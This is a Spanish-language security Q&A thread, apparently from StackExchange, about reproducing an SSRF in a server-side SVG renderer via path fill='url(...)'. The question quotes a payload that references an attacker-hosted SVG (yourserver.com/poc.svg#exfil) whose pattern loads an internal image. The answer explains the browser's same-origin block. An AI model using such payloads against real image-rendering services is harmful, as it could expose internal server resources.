SSRF PoC usando fill = “url (...)” con ruta absoluta

1

Leí este informe interesante que describe una vulnerabilidad de SSRF que permite obtener imágenes internas utilizando la propiedad url en un elemento de ruta. Sin embargo, aunque es probable que esta vulnerabilidad se base en el servidor que renderiza la imagen, no he podido reproducir la forma en que esto se logró a través de un simple documento HTML.

Por lo que entiendo, se utilizó un elemento de ruta para llamar a elementos svg externos bajo el control del atacante:

<path fill="url(https://yourserver.com/poc.svg#exfil)" stroke="#a1a1a1"

donde poc.svg contiene esto:

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<defs>
    <pattern id="exfil" width="512" height="512" patternUnits="userSpaceOnUse">
        <image xlink:href="<redacted>" x="0" y="0" height="256px" width="256px"/>
    </pattern>
</defs>
</svg>

Supongo que la parte <redacted> apunta a una imagen en el servidor vulnerable. Creo que <pattern id="exfil"> es importante porque muchos elementos svg requieren ese tipo de identificador ( id ) ya que hacen referencia a otros elementos en el mismo documento. Sin embargo, no he podido replicar este patrón con el parámetro "relleno".

Esto es básicamente lo que estoy haciendo:

<html>
    <body>
        <svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
            <path fill="url(otherpoc.svg#exfil)" d="M150 0 L75 200 L225 200 Z" />
        </svg>
    </body>

</html>

y otherpoc.svg:

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<defs>
    <pattern id="exfil" width="512" height="512" patternUnits="userSpaceOnUse">
        <image xlink:href="google.png" x="0" y="0" height="256px" width="256px"/>
    </pattern>
</defs>
</svg>

Ahora, esto funciona correctamente. Si tuviera un archivo google.png como recurso local, entonces se buscaría tal como estaba previsto. Sin embargo, las rutas absolutas (como en <path fill="url(http://server.com/otherpoc.svg#exfil)" ) no parecen funcionar (la url no se resuelve). Si desea probar esto, recuerde usar Firefox u otra navegación que permita este tipo de resolución de URL.

Agradecería cualquier ayuda.

    
pregunta Robert Smith 06.11.2017 - 01:08
fuente

1 respuesta

1

Está intentando reproducir esta vulnerabilidad en su navegador mientras el servidor afectado usó un analizador SVG diferente (sin nombre) con diferente comportamiento.

Su navegador simplemente niega cargar el patrón vinculado a través de <path fill="url(...)" ...> cross-domain porque sería un SOP Violación. Si se permitiera la referencia de elementos dentro de los archivos SVG alojados en diferentes dominios, un atacante podría potencialmente utilizarlo para extraer información.

Por lo tanto, usando tu ejemplo, Firefox genera correctamente:

Security Error: Content at http://localhost/svgsop.html may not load data from http://server.com/otherpoc.svg.
    
respondido por el Arminius 06.11.2017 - 01:43
fuente

Lea otras preguntas en las etiquetas